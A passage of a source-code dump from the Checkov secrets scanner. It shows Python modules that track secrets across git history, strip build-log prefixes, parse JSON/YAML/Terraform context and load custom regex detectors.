             skip_comment = skip.get(\"comment\", \"No comment provided\")\n                    if not skip_id:\n                        logging.warning(\"Check suppression is missing key 'id'\")\n                        continue\n\n                    skipped_check: _SkippedCheck = {\n                        \"id\": skip_id,\n                        \"suppress_comment\": skip_comment,\n                    }\n\n                    if bc_id_mapping and skip_id in bc_id_mapping:\n                        skipped_check[\"bc_id\"] = skip_id\n                        skipped_check[\"id\"] = bc_id_mapping[skip_id]\n                    elif metadata_integration.check_metadata:\n                        skipped_check[\"bc_id\"] = metadata_integration.get_bc_id(skip_id)\n\n                    skipped_checks.append(skipped_check)\n\n        if isinstance(resource_config, dict):\n            metadata = resource_config.get(\"Metadata\", {})\n            extract_skips(metadata)\n\n        elif isinstance(resource_config, list):\n            for item in resource_config:\n                if isinstance(item, dict):\n                    metadata = item.get(\"Metadata\", {})\n                    extract_skips(metadata)\n\n        return skipped_checks\n"
  },
  {
    "path": "checkov/secrets/coordinator.py",
    "content": "from __future__ import annotations\nfrom typing import Iterable, TypedDict\n\n\nclass EnrichedSecret(TypedDict):\n    original_secret: str\n    bc_check_id: str\n    check_id: str\n    resource: str\n    line_number: int\n\n\nclass SecretsCoordinator:\n    __slots__ = (\"_secrets\", )\n\n    def __init__(self) -> None:\n        self._secrets: list[EnrichedSecret] = []\n\n    def add_secret(self, enriched_secret: EnrichedSecret) -> None:\n        # should not have duplicates? - if duplicates allowed, implementation should be changed\n        # may be saved by file type first, then by key - or any other preprocessing that may help differ the secrets.\n        self._secrets.append(enriched_secret)\n\n    def get_resources(self) -> Iterable[str]:\n        return [enriched_secret[\"resource\"] for enriched_secret in self._secrets]\n\n    def get_secrets(self) -> list[EnrichedSecret]:\n        return self._secrets\n"
  },
  {
    "path": "checkov/secrets/git_history_store.py",
    "content": "from __future__ import annotations\n\nimport logging\nfrom collections import defaultdict\nfrom typing import TYPE_CHECKING, Dict, List, Optional, TypedDict\n\nfrom checkov.common.util.data_structures_utils import pickle_deepcopy\nfrom checkov.common.util.secrets import omit_secret_value_from_line\nfrom checkov.common.secrets.consts import GIT_HISTORY_NOT_BEEN_REMOVED\nfrom checkov.secrets.git_types import EnrichedPotentialSecretMetadata, EnrichedPotentialSecret, Commit, ADDED, REMOVED, \\\n    GIT_HISTORY_OPTIONS, CommitDiff\n\nif TYPE_CHECKING:\n    from detect_secrets.core.potential_secret import PotentialSecret\n\nRENAME_STR = 'rename'\nFILE_RESULTS_STR = 'file_results'\nRAW_STORE_TYPES = {RENAME_STR, FILE_RESULTS_STR}\n\n\nclass RawStore(TypedDict):\n    file_results: List[PotentialSecret]\n    file_name: str\n    commit: Commit\n    type: str  # rename / file results\n    rename_from: str\n    rename_to: str\n\n\nclass GitHistorySecretStore:\n    def __init__(self) -> None:\n        self.secrets_by_file_value_type: Dict[str, List[EnrichedPotentialSecret]] = {}\n\n    def set_secret_map(self, file_results: List[PotentialSecret], file_name: str, commit: Commit) -> None:\n        # First find if secret was moved in the file\n        equal_secret_in_commit: Dict[str, List[str]] = defaultdict(list)\n        for secret in file_results:\n            secret_key = get_secret_key(file_name, secret.secret_hash, secret.type)\n            equal_secret_in_commit[secret_key].append(ADDED if secret.is_added else REMOVED)\n\n        for secret in file_results:\n            if not secret.filename or 'None' in secret.filename:\n                secret.filename = file_name\n            secret_key = get_secret_key(file_name, secret.secret_hash, secret.type)\n            if all(value in equal_secret_in_commit[secret_key] for value in GIT_HISTORY_OPTIONS):\n                continue\n            if secret.is_added:\n                self._add_new_secret(secret_key, secret, commit)\n            if secret.is_removed:\n                self._update_removed_secret(secret_key, secret, file_name, commit)\n\n    def _add_new_secret(self, secret_key: str, secret: PotentialSecret, commit: Commit) -> None:\n        if secret_key not in self.secrets_by_file_value_type:\n            self.secrets_by_file_value_type[secret_key] = []\n        else:\n            all_removed = all(\n                potential_secret.get('removed_commit_hash') for potential_secret in\n                self.secrets_by_file_value_type[secret_key])\n            # Update secret map with the new potential secret\n            if all_removed:\n                self.secrets_by_file_value_type[secret_key][0].update({'potential_secret': secret,\n                                                                       'removed_commit_hash': '',\n                                                                       'removed_date': ''})\n                return\n        code_line = search_for_code_line(commit.files[secret.filename], secret.secret_value, secret.is_added)\n        enriched_potential_secret: EnrichedPotentialSecret = {\n            'added_commit_hash': commit.metadata.commit_hash,\n            'removed_commit_hash': '',\n            'potential_secret': secret,\n            'code_line': code_line,\n            'added_by': commit.metadata.committer,\n            'removed_date': '',\n            'added_date': commit.metadata.committed_datetime\n        }\n        self.secrets_by_file_value_type[secret_key].append(enriched_potential_secret)\n\n    def _update_removed_secret(self, secret_key: str, secret: PotentialSecret, file_name: str, commit: Commit) -> None:\n        # Try to find the corresponding added secret in the git history secret map\n        secrets_in_file = self.secrets_by_file_value_type.get(secret_key, None)\n        if secrets_in_file:\n            for secret_in_file in secrets_in_file:\n                if secret_in_file['potential_secret'].is_added:\n                    secret_in_file['removed_commit_hash'] = commit.metadata.commit_hash\n                    secret_in_file['potential_secret'] = secret\n                    secret_in_file['removed_date'] = commit.metadata.committed_datetime\n                    break\n        else:\n            logging.warning(f\"No added secret commit found for secret in file {file_name}.\")\n\n    def handle_renamed_file(self, rename_from: str, rename_to: str, commit: Commit) -> None:\n        temp_secrets_by_file_value_type: Dict[str, List[EnrichedPotentialSecret]] = {}\n        for secret_key in self.secrets_by_file_value_type.keys():\n            if rename_from in secret_key:\n                new_secret_key = secret_key.replace(rename_from, rename_to)\n                temp_secrets_by_file_value_type[new_secret_key] = []\n                secret_in_file = self.secrets_by_file_value_type[secret_key]\n                for secret_data in secret_in_file:\n                    # defines the secret in the old file as removed and add the secret to the new file\n                    secret_data['removed_commit_hash'] = commit.metadata.commit_hash\n                    secret_data['removed_date'] = commit.metadata.committed_datetime\n                    new_secret = pickle_deepcopy(secret_data['potential_secret'])\n                    new_secret.filename = rename_to\n                    code = secret_data.get('code_line')\n                    enriched_potential_secret: EnrichedPotentialSecret = {\n                        'added_commit_hash': commit.metadata.commit_hash,\n                        'removed_commit_hash': '',\n                        'potential_secret': new_secret,\n                        'code_line': code,\n                        'added_by': secret_data.get('added_by'),\n                        'removed_date': '',\n                        'added_date': secret_data.get('added_date')\n                    }\n                    temp_secrets_by_file_value_type[new_secret_key].append(enriched_potential_secret)\n        self.secrets_by_file_value_type.update(temp_secrets_by_file_value_type)\n\n    def get_added_and_removed_commit_hash(self, key: str, secret: PotentialSecret, root_folder: Optional[str]) -> EnrichedPotentialSecretMetadata:\n        \"\"\"\n        now we have only the current commit_hash - in the added_commit_hash or in the removed_commit_hash.\n        in the next step we will add the connection and the missing data\n        The key is built like this:\n        '{added_commit_hash}_{removed_commit_hash or the string GIT_HISTORY_NOT_BEEN_REMOVED\n        if the secret not been removed}_{file_name}'\n        returns (added, removed, code)\n        \"\"\"\n        try:\n            secret_key = get_secret_key(secret.filename, secret.secret_hash, secret.type)  # by value type\n            enriched_secrets: List[EnrichedPotentialSecret] = self.secrets_by_file_value_type.get(secret_key, [])\n            if not enriched_secrets and root_folder:\n                # sometimes the secret key is from the project path instead of abs path\n                filename = f'{root_folder}/{secret.filename}'\n                secret_key = get_secret_key(filename, secret.secret_hash, secret.type)  # by value type\n                enriched_secrets = self.secrets_by_file_value_type.get(secret_key, [])\n                if not enriched_secrets:\n                    logging.warning(f'Did not find added_commit_hash and removed_commit_hash for {secret_key}')\n                    return {}\n            chosen_secret = enriched_secrets[0]\n            if len(enriched_secrets) > 1:\n                res = key.split(\"_\")\n                added, removed = res[0], res[1]\n                if removed == GIT_HISTORY_NOT_BEEN_REMOVED:\n                    removed = ''\n                for enriched_secret in enriched_secrets:\n                    if added == enriched_secret.get('added_commit_hash') and \\\n                            removed == enriched_secret.get('removed_commit_hash'):\n                        chosen_secret = enriched_secret\n                        break\n\n            return {\n                'added_commit_hash': chosen_secret.get('added_commit_hash', ''),\n                'removed_commit_hash': chosen_secret.get('removed_commit_hash', ''),\n                'code_line': chosen_secret.get('code_line'),\n                'added_by': chosen_secret.get('added_by'),\n                'removed_date': chosen_secret.get('removed_date'),\n                'added_date': chosen_secret.get('added_date')\n            }\n        except Exception as e:\n            logging.warning(f\"Failed set added_commit_hash and removed_commit_hash due to: {str(e)}\")\n            return {}\n\n\ndef search_for_code_line(commit_diff: CommitDiff, secret_value: Optional[str], is_added: Optional[bool]) -> str:\n    if not commit_diff:\n        logging.warning(f'missing file name for {commit_diff}, hence no available code line')\n    if secret_value is None:\n        return ''\n    split = commit_diff.split('\\n')\n    start_char = '+' if is_added else '-'\n    for line in split:\n        if line.startswith(start_char) and secret_value in line:\n            # remove +/- in the beginning & spaces and omit\n            return omit_secret_value_from_line(secret_value, line[1:].strip()) or ''\n    return ''  # not found\n\n\ndef get_secret_key(file_name: str, secret_hash: str, secret_type: str) -> str:\n    \"\"\"\n    One way to create a secret key for the secret map\n    \"\"\"\n    secret_key = f'{file_name}_{secret_hash}_{secret_type.replace(\" \", \"-\")}'\n    return secret_key\n"
  },
  {
    "path": "checkov/secrets/git_types.py",
    "content": "from __future__ import annotations\n\nimport logging\nfrom typing import Optional, TYPE_CHECKING, TypedDict\n\nif TYPE_CHECKING:\n    from detect_secrets.core.potential_secret import PotentialSecret\n\nPROHIBITED_FILES = ('Pipfile.lock', 'yarn.lock', 'package-lock.json', 'requirements.txt', 'go.sum')\n\n\nADDED = 'added'\nREMOVED = 'removed'\nGIT_HISTORY_OPTIONS = {ADDED, REMOVED}\n\n\nCommitDiff = str\n\n\nclass RenamedFile(TypedDict):\n    rename_from: str\n    rename_to: str\n\n\nclass Commit:\n    __slots__ = (\"metadata\", \"files\", \"renamed_files\")\n\n    def __init__(\n            self,\n            metadata: CommitMetadata,\n            files: dict[str, CommitDiff] | None = None,\n            renamed_files: dict[str, RenamedFile] | None = None\n    ):\n        self.metadata: CommitMetadata = metadata\n        self.files: dict[str, CommitDiff] = files or {}\n        self.renamed_files: dict[str, RenamedFile] = renamed_files or {}\n\n    def is_empty(self) -> bool:\n        return not bool(self.files or self.renamed_files)\n\n    def add_file(self, filename: str, commit_diff: CommitDiff) -> None:\n        if self.files.get(filename):\n            logging.warning(f'add_file-file {filename} already exist in commit')\n            return\n        self.files[filename] = commit_diff\n\n    def rename_file(self, file_path: str, prev_filename: str, new_filename: str) -> None:\n        if self.renamed_files.get(new_filename):\n            logging.warning(f\"rename_file-new filename {new_filename} was already renamed, might be an error\")\n            return\n        self.renamed_files[file_path] = {\n            'rename_from': prev_filename,\n            'rename_to': new_filename\n        }\n\n    def remove_file(self, filename: str) -> None:\n        if self.files.get(filename):\n            del self.files[filename]\n\n\nclass CommitMetadata:\n    __slots__ = (\"commit_hash\", \"committer\", \"committed_datetime\")\n\n    def __init__(self, commit_hash: str, committer: str, committed_datetime: str):\n        self.commit_hash: str = commit_hash\n        self.committer: str = committer\n        self.committed_datetime: str = committed_datetime\n\n\nclass EnrichedPotentialSecretMetadata(TypedDict, total=False):\n    added_commit_hash: str\n    removed_commit_hash: str\n    code_line: Optional[str]\n    added_by: Optional[str]\n    removed_date: Optional[str]\n    added_date: Optional[str]\n\n\nclass EnrichedPotentialSecret(EnrichedPotentialSecretMetadata):\n    potential_secret: PotentialSecret  # noqa: CCE003  # a static attribute\n"
  },
  {
    "path": "checkov/secrets/local_secrets_runner.py",
    "content": "# flake8: noqa\n# type: ignore\n\nimport json\nimport os\n\nfrom checkov.main import secrets_runner\nfrom checkov.common.runners.runner_registry import RunnerRegistry\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.common.bridgecrew.platform_integration import bc_integration\n\n\nwith open(os.environ['LOCAL_SECRETS_POLICIES_JSON']) as secrets_policies_file:\n    default_regexes = json.load(secrets_policies_file)\nbc_integration.customer_run_config_response = {'secretsPolicies': default_regexes}\n\n\ndef execute():\n    runner = secrets_runner(entropy_limit=4)\n    # 20 min less in order to finish processing, else put checkov's default (12h - 1200)\n    runner_registry = RunnerRegistry(\n        '',\n        RunnerFilter(\n            block_list_secret_scan=[],\n            enable_secret_scan_all_files=True,\n            enable_git_history_secret_scan=False,\n            git_history_last_commit_scanned=None,\n            git_history_timeout=\"checkov_timeout_str\",\n            checks=['BC_GIT_79']\n        ),\n        runner\n    )\n\n    scan_reports = runner_registry.run(\n        root_folder=os.environ[\"LOCAL_SCANNING_FOLDER\"],\n        external_checks_dir=list(),\n        collect_skip_comments=True)\n\n    print(scan_reports)\n\n\nif __name__ == \"__main__\":\n    execute()\n"
  },
  {
    "path": "checkov/secrets/log_prefix_stripper.py",
    "content": "\"\"\"\nUtility to strip common build log prefixes from file content.\n\nWhen scanning build logs for secrets, each line may be prefixed with timestamps\nand log metadata (e.g., \"2026-01-07 09:41:37.553 | DEBUG | crypto      | \").\nThese prefixes break multiline regex matching for secrets (like private keys)\nbecause the detectors expect clean content between markers.\n\nThis module provides functions to detect and strip such prefixes, enabling\nsecret detection across all detectors when scanning build log files.\n\"\"\"\nfrom __future__ import annotations\n\nimport re\nfrom typing import Optional\n\n# Common build log prefix patterns:\n# - Timestamps: 2026-01-07 09:41:37.553, 2026-01-07T09:41:37.553Z\n# - Log levels: INFO, DEBUG, WARN, ERROR, TRACE, FATAL\n# - Separators: |, -, [], etc.\n# - Module names: crypto, main, etc.\n# Examples:\n#   \"2026-01-07 09:41:37.553 | DEBUG | crypto      | actual content\"\n#   \"[2026-01-07 09:41:37] [INFO] actual content\"\n#   \"2026-01-07T09:41:37.553Z INFO  actual content\"\n#   \"09:41:37.553 DEBUG actual content\"\n\n# Pattern for pipe-separated log prefixes (most common in CI/CD logs)\n# e.g., \"2026-01-07 09:41:37.553 | DEBUG | crypto      | \"\n_PIPE_LOG_PREFIX = re.compile(\n    r'^'\n    r'(?:'\n    # Date-time with various separators\n    r'\\d{4}[-/]\\d{2}[-/]\\d{2}[T ]\\d{2}:\\d{2}:\\d{2}(?:[.,]\\d+)?(?:Z|[+-]\\d{2}:?\\d{2})?'\n    r'|'\n    # Time-only prefix\n    r'\\d{2}:\\d{2}:\\d{2}(?:[.,]\\d+)?'\n    r')'\n    # Pipe-separated fields (log level, module, etc.)\n    r'(?:\\s*\\|\\s*\\w[\\w./\\- ]*)*'\n    # Final pipe separator before actual content\n    r'\\s*\\|\\s*'\n)\n\n# Pattern for space-separated log prefixes\n# e.g., \"2026-01-07 09:41:37.553 DEBUG crypto - \"\n_SPACE_LOG_PREFIX = re.compile(\n    r'^'\n    r'(?:'\n    r'\\d{4}[-/]\\d{2}[-/]\\d{2}[T ]\\d{2}:\\d{2}:\\d{2}(?:[.,]\\d+)?(?:Z|[+-]\\d{2}:?\\d{2})?'\n    r'|'\n    r'\\d{2}:\\d{2}:\\d{2}(?:[.,]\\d+)?'\n    r')'\n    r'\\s+'\n    # Log level (required for space-separated to avoid false positives)\n    r'(?:TRACE|DEBUG|INFO|WARN(?:ING)?|ERROR|FATAL|SEVERE|FINE|FINER|FINEST)\\s+'\n    # Optional module/category and separator\n    r'(?:[\\w./-]+\\s+(?:[-:]\\s+)?)?'\n)\n\n# Pattern for bracket-style log prefixes\n# e.g., \"[2026-01-07 09:41:37] [INFO] [crypto] \"\n_BRACKET_LOG_PREFIX = re.compile(\n    r'^'\n    r'(?:\\[[\\d\\-/:T., +Z]+\\]\\s*)'\n    r'(?:\\[(?:TRACE|DEBUG|INFO|WARN(?:ING)?|ERROR|FATAL|SEVERE)\\]\\s*)?'\n    r'(?:\\[[\\w./-]+\\]\\s*)*'\n)\n\n_LOG_PREFIX_PATTERNS = [_PIPE_LOG_PREFIX, _SPACE_LOG_PREFIX, _BRACKET_LOG_PREFIX]\n\n\ndef strip_log_prefix(line: str) -> str:\n    \"\"\"Strip common build log prefixes from a single line.\n\n    Removes timestamp, log level, and module prefixes commonly found in build logs.\n    Returns the line content after the prefix.\n    \"\"\"\n    for pattern in _LOG_PREFIX_PATTERNS:\n        stripped = pattern.sub('', line)\n        if stripped != line:\n            return stripped\n    return line\n\n\ndef has_log_prefixes(content: str) -> bool:\n    \"\"\"Check if file content appears to be a build log with line prefixes.\n\n    Samples non-empty lines and checks if a significant portion have log prefixes.\n    Returns True if the file appears to be a log file with prefixes.\n    \"\"\"\n    lines = content.split('\\n')\n    prefix_count = 0\n    checked = 0\n    sample_size = min(len(lines), 30)  # Check up to 30 non-empty lines\n\n    for line in lines:\n        if not line.strip():\n            continue\n        stripped = strip_log_prefix(line)\n        if stripped != line:\n            prefix_count += 1\n        checked += 1\n        if checked >= sample_size:\n            break\n\n    # Require at least 2 lines with prefixes and at least 30% of sampled lines\n    return checked > 0 and prefix_count >= 2 and (prefix_count / checked) >= 0.3\n\n\ndef strip_log_prefixes_from_content(content: str) -> str:\n    \"\"\"Strip log prefixes from all lines in file content.\n\n    Returns the content with log prefixes removed from each line.\n    \"\"\"\n    lines = content.split('\\n')\n    stripped_lines = [strip_log_prefix(line) for line in lines]\n    return '\\n'.join(stripped_lines)\n\n\ndef create_stripped_content(file_path: str) -> Optional[str]:\n    \"\"\"Read a file and return its content with log prefixes stripped.\n\n    Returns a string of the stripped content, or None if the file doesn't appear to have log prefixes.\n    \"\"\"\n    try:\n        # To avoid reading large files entirely into memory just for a check,\n        # we first read a sample of the file to check for log prefixes.\n        with open(file_path, 'r') as f:\n            sample = f.read(8000)  # Read first 8KB, should be enough for several lines\n    except (OSError, UnicodeDecodeError):\n        return None\n\n    if not has_log_prefixes(sample):\n        return None\n\n    # Prefixes were found in the sample, so now we process the whole file.\n    # The runner that calls this already limits the file size, so we don't\n    # expect to be reading huge files here.\n    try:\n        with open(file_path, 'r') as f:\n            content = f.read()\n        return strip_log_prefixes_from_content(content)\n    except (OSError, UnicodeDecodeError):\n        return None\n"
  },
  {
    "path": "checkov/secrets/parsers/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/secrets/parsers/json/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/secrets/parsers/json/multiline_parser.py",
    "content": "from __future__ import annotations\n\nimport re\nfrom typing import TYPE_CHECKING\n\n\nif TYPE_CHECKING:\n    from detect_secrets.util.code_snippet import CodeSnippet\n\nfrom checkov.secrets.parsers.multiline_parser import BaseMultiLineParser\n\n\nSTART_OBJ_END_OF_LINE = r'({\\s*}?\\s*,?\\s*$)'\nSTART_OBJ_START_OF_LINE = r'(^\\s*{)'\n\nSTART_OBJ = re.compile(fr'{START_OBJ_START_OF_LINE}|{START_OBJ_END_OF_LINE}')\nSTART_OBJ_INCLUDING_CURRENT_LINE = re.compile(START_OBJ_START_OF_LINE)\nEND_OBJ = re.compile(r'(^\\s*\\}\\s*)|({?\\s*\\}\\s*,?\\s*$)')\nWHOLE_OBJ_INLINE = re.compile(r'{[^{]*{?\\s*\\}\\s*,?\\s*$')\n\n\nclass JsonMultiLineParser(BaseMultiLineParser):\n\n    def consecutive_lines_in_same_object(\n        self,\n        raw_context: CodeSnippet | None,\n        other_line_idx: int,\n    ) -> bool:\n        if not raw_context or not 0 <= other_line_idx < len(raw_context.lines):\n            return False\n        higher_line = raw_context.lines[other_line_idx]\n        lower_line = raw_context.target_line\n        if other_line_idx > raw_context.target_index:\n            higher_line, lower_line = lower_line, higher_line\n        if self.is_object_end(higher_line) or re.search(START_OBJ_INCLUDING_CURRENT_LINE, lower_line):\n            return False\n        if self.is_object_start(higher_line):\n            return bool(re.search(START_OBJ_INCLUDING_CURRENT_LINE, higher_line))\n        return True\n\n    @staticmethod\n    def is_object_start(\n        line: str\n    ) -> bool:\n        return bool(re.search(START_OBJ, line) and not re.search(WHOLE_OBJ_INLINE, line))\n\n    @staticmethod\n    def is_object_end(\n        line: str\n    ) -> bool:\n        return bool(re.search(END_OBJ, line) and not re.search(WHOLE_OBJ_INLINE, line))\n\n    @staticmethod\n    def is_line_comment(\n        line: str\n    ) -> bool:\n        return False\n\n\njson_multiline_parser = JsonMultiLineParser()\n"
  },
  {
    "path": "checkov/secrets/parsers/multiline_parser.py",
    "content": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING\nfrom abc import ABC\nfrom abc import abstractmethod\n\nif TYPE_CHECKING:\n    from detect_secrets.util.code_snippet import CodeSnippet\n\n\nclass BaseMultiLineParser(ABC):\n    def get_lines_from_same_object(\n        self,\n        search_range: range,\n        context: CodeSnippet | None,\n        raw_context: CodeSnippet | None,\n        line_length_limit: int = 0,\n    ) -> set[str]:\n        possible_keywords: set[str] = set()\n\n        if not context or not raw_context:\n            return possible_keywords\n        for j in search_range:\n            line = raw_context.lines[j]\n            if line_length_limit and len(line) > line_length_limit:\n                continue\n            if self.consecutive_lines_in_same_object(raw_context=raw_context, other_line_idx=j) \\\n                    and not self.is_line_comment(line):\n                possible_keywords.add(raw_context.lines[j])\n                if self.is_object_start(line=line) or self.is_object_end(line=line):\n                    return possible_keywords\n        # No start of array detected, hence all found possible_keywords are irrelevant\n        return set()\n\n    @abstractmethod\n    def consecutive_lines_in_same_object(\n        self,\n        raw_context: CodeSnippet | None,\n        other_line_idx: int,\n    ) -> bool:\n        pass\n\n    @staticmethod\n    @abstractmethod\n    def is_object_start(\n        line: str,\n    ) -> bool:\n        pass\n\n    @staticmethod\n    @abstractmethod\n    def is_object_end(\n        line: str,\n    ) -> bool:\n        pass\n\n    @staticmethod\n    @abstractmethod\n    def is_line_comment(\n        line: str\n    ) -> bool:\n        pass\n"
  },
  {
    "path": "checkov/secrets/parsers/single_line_parser.py",
    "content": "from __future__ import annotations\n\nfrom abc import ABC, abstractmethod\nfrom typing import Any, TYPE_CHECKING\n\n\nif TYPE_CHECKING:\n    from detect_secrets.core.potential_secret import PotentialSecret\n    from detect_secrets.plugins.high_entropy_strings import Base64HighEntropyString, HexHighEntropyString\n    from detect_secrets.util.code_snippet import CodeSnippet\n\n\nclass BaseSingleLineParser(ABC):\n    def detect_secret(\n        self,\n        scanners: tuple[Base64HighEntropyString, HexHighEntropyString],\n        filename: str,\n        raw_context: CodeSnippet | None,\n        line: str,\n        line_number: int = 0,\n        **kwargs: Any,\n    ) -> set[PotentialSecret]:\n        for entropy_scanner in scanners:\n            matches = entropy_scanner.analyze_line(filename, line, line_number, **kwargs)\n            if matches:\n                if raw_context and self.ignore_secret(raw_context=raw_context):\n                    return set()\n\n                return matches\n        return set()\n\n    @abstractmethod\n    def ignore_secret(self, raw_context: CodeSnippet) -> bool:\n        \"\"\"Check for false-positive secrets by leveraging the context\"\"\"\n\n        pass\n"
  },
  {
    "path": "checkov/secrets/parsers/terraform/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/secrets/parsers/terraform/multiline_parser.py",
    "content": "from __future__ import annotations\n\nimport re\nfrom typing import TYPE_CHECKING\n\nfrom checkov.secrets.parsers.multiline_parser import BaseMultiLineParser\n\nif TYPE_CHECKING:\n    from detect_secrets.util.code_snippet import CodeSnippet\n\nSTART_OBJ = re.compile(r\"^\\s*\\w*\\s*=?\\s*{\\s*$\")\nEND_OBJ = re.compile(r\"^\\s*}\\s*$\")\nCOMMENT_PREFIX = re.compile(r\"^[\\s]*(#|//)\")\n\n\nclass TerraformMultiLineParser(BaseMultiLineParser):\n    def consecutive_lines_in_same_object(\n        self,\n        raw_context: CodeSnippet | None,\n        other_line_idx: int,\n    ) -> bool:\n        return bool(raw_context and 0 <= other_line_idx < len(raw_context.lines))\n\n    @staticmethod\n    def is_object_start(line: str) -> bool:\n        return bool(re.match(START_OBJ, line))\n\n    @staticmethod\n    def is_object_end(line: str) -> bool:\n        return bool(re.match(END_OBJ, line))\n\n    @staticmethod\n    def is_line_comment(line: str) -> bool:\n        return bool(re.match(COMMENT_PREFIX, line))\n\n\nterraform_multiline_parser = TerraformMultiLineParser()\n"
  },
  {
    "path": "checkov/secrets/parsers/terraform/single_line_parser.py",
    "content": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING\n\nfrom checkov.secrets.parsers.single_line_parser import BaseSingleLineParser\n\nif TYPE_CHECKING:\n    from detect_secrets.util.code_snippet import CodeSnippet\n\n\nclass TerraformSingleLineParser(BaseSingleLineParser):\n    def ignore_secret(self, raw_context: CodeSnippet) -> bool:\n        return self.ignore_terraform_data_block(raw_context=raw_context)\n\n    def ignore_terraform_data_block(self, raw_context: CodeSnippet) -> bool:\n        \"\"\"Check for a possible data block usage\"\"\"\n\n        # search backwards to find a possible 'data' block\n        for line_index in range(raw_context.target_index - 1, -1, -1):\n            if raw_context.lines[line_index].lstrip().startswith('data \"'):\n                # a data block is typically used to get remote information,\n                # therefore can retrieve a secret, but has not a hardcoded secret\n                return True\n\n        return False\n\n\nterraform_single_line_parser = TerraformSingleLineParser()\n"
  },
  {
    "path": "checkov/secrets/parsers/yaml/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/secrets/parsers/yaml/multiline_parser.py",
    "content": "from __future__ import annotations\n\nimport re\nfrom typing import TYPE_CHECKING\n\nif TYPE_CHECKING:\n    from detect_secrets.util.code_snippet import CodeSnippet\n\nfrom checkov.secrets.parsers.multiline_parser import BaseMultiLineParser\n\nINDENTATION_PATTERN = re.compile(r'(^\\s*(?:-?\\s+)?)')\nCOMMENT_PREFIX = re.compile(r'^[\\s]*(#|\\/\\/)')\n\n\nclass YmlMultilineParser(BaseMultiLineParser):\n\n    def consecutive_lines_in_same_object(\n        self,\n        raw_context: CodeSnippet | None,\n        other_line_idx: int,\n    ) -> bool:\n        if not raw_context:\n            return False  # could not know\n        return 0 <= other_line_idx < len(raw_context.lines) and \\\n            self.lines_same_indentation(raw_context.lines[other_line_idx], raw_context.target_line)\n\n    @staticmethod\n    def is_object_start(\n        line: str,\n    ) -> bool:\n        match = re.match(INDENTATION_PATTERN, line)\n        if match:\n            return '-' in match.groups()[0]\n        return False\n\n    @staticmethod\n    def is_object_end(\n        line: str,\n    ) -> bool:\n        match = re.match(INDENTATION_PATTERN, line)\n        if match:\n            return '-' in match.groups()[0]\n        return False\n\n    @staticmethod\n    def is_line_comment(\n        line: str\n    ) -> bool:\n        return bool(re.match(COMMENT_PREFIX, line))\n\n    @staticmethod\n    def lines_same_indentation(line1: str, line2: str) -> bool:\n        match1 = re.match(INDENTATION_PATTERN, line1)\n        match2 = re.match(INDENTATION_PATTERN, line2)\n        if not match1 and not match2:\n            return True\n        if not match1 or not match2:\n            return False\n        indent1 = len(match1.groups()[0])\n        indent2 = len(match2.groups()[0])\n        return indent1 == indent2\n\n\nyml_multiline_parser = YmlMultilineParser()\n"
  },
  {
    "path": "checkov/secrets/plugins/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/secrets/plugins/custom_regex_detector.py",
    "content": "from __future__ import annotations\n\nimport logging\nfrom typing import Set, Any, Generator, Pattern, Optional, Dict, Tuple, TYPE_CHECKING, cast, Union\nfrom collections import defaultdict\n\nfrom detect_secrets.constants import VerifiedResult\nfrom detect_secrets.core.potential_secret import PotentialSecret\nfrom detect_secrets.plugins.base import RegexBasedDetector\nfrom detect_secrets.util.inject import call_function_with_arguments\nimport re\n\nfrom checkov.common.util.file_utils import read_file_safe, get_file_size_safe\nfrom checkov.secrets.plugins.load_detectors import load_detectors\n\nMIN_CHARACTERS = 5\nMAX_CHARACTERS = 100\n\nif TYPE_CHECKING:\n    from detect_secrets.util.code_snippet import CodeSnippet\n\n\nclass CustomRegexDetector(RegexBasedDetector):\n    secret_type = \"Regex Detector\"  # noqa: CCE003 # nosec\n    denylist: Set[Pattern[str]] = set()  # noqa: CCE003\n    MAX_FILE_SIZE: int = 4 * 1024\n    MAX_LINE_LENGTH: int = 10_000\n\n    def __init__(self) -> None:\n        self.regex_to_metadata: dict[str, dict[str, Any]] = dict()\n        self.denylist = set()\n        self.multiline_deny_list = set()\n        self.pattern_by_prerun_compiled: dict[str, Pattern[str]] = dict()\n        self.multiline_regex_to_metadata: dict[str, dict[str, Any]] = dict()\n        self._analyzed_files: Set[str] = set()\n        self._analyzed_files_by_check: Dict[str, Set[str]] = defaultdict(lambda: set())\n        self._multiline_regex_supported_file_types: Set[str] = set()\n        detectors = load_detectors()\n\n        for detector in detectors:\n            try:\n                if detector.get(\"prerun\"):\n                    self.denylist.add(re.compile('{}'.format(detector[\"prerun\"])))\n                    self.regex_to_metadata[detector[\"prerun\"]] = detector\n                    # currently supports only cases that have distinct preruns, if two policies\n                    # have the same prerunner then only one of them is gonna work\n                    self.pattern_by_prerun_compiled[detector[\"prerun\"]] = re.compile('{}'.format(detector[\"Regex\"]))\n                    continue\n                if detector.get(\"isMultiline\"):\n                    self.multiline_deny_list.add(re.compile('{}'.format(detector[\"Regex\"])))\n                    self.multiline_regex_to_metadata[detector[\"Regex\"]] = detector\n                else:\n                    self.denylist.add(re.compile('{}'.format(detector[\"Regex\"])))\n                    self.regex_to_metadata[detector[\"Regex\"]] = detector\n            except Exception:\n                logging.warning(f\"Failed to load detector {detector.get('Name')} with regex {detector.get('Regex')}\")\n\n    @property\n    def multiline_regex_supported_file_types(self) -> Set[str]:\n        if self._multiline_regex_supported_file_types:\n            return self._multiline_regex_supported_file_types\n        for regex in self.multiline_regex_to_metadata.values():\n            self._multiline_regex_supported_file_types.update(regex.get(\"supportedFiles\", []))\n        return self._multiline_regex_supported_file_types\n\n    def analyze_line(\n            self,\n            filename: str,\n            line: str,\n            line_number: int = 0,\n            context: Optional[CodeSnippet] = None,\n            raw_context: Optional[CodeSnippet] = None,\n            **kwargs: Any\n    ) -> Set[PotentialSecret]:\n        \"\"\"This examines a line and finds all possible secret values in it\"\"\"\n        output: Set[PotentialSecret] = set()\n\n        line_length = len(line)\n        if line_length > CustomRegexDetector.MAX_LINE_LENGTH:\n            logging.info(f\"File {filename} Line {line_number} has a length of {line_length}, which is higher than the max {CustomRegexDetector.MAX_LINE_LENGTH}\")\n            return output\n\n        self._find_potential_secret(\n            filename=filename,\n            string_to_analyze=line,\n            output=output,\n            line_number=line_number,\n            context=raw_context,\n            is_multiline=False,\n            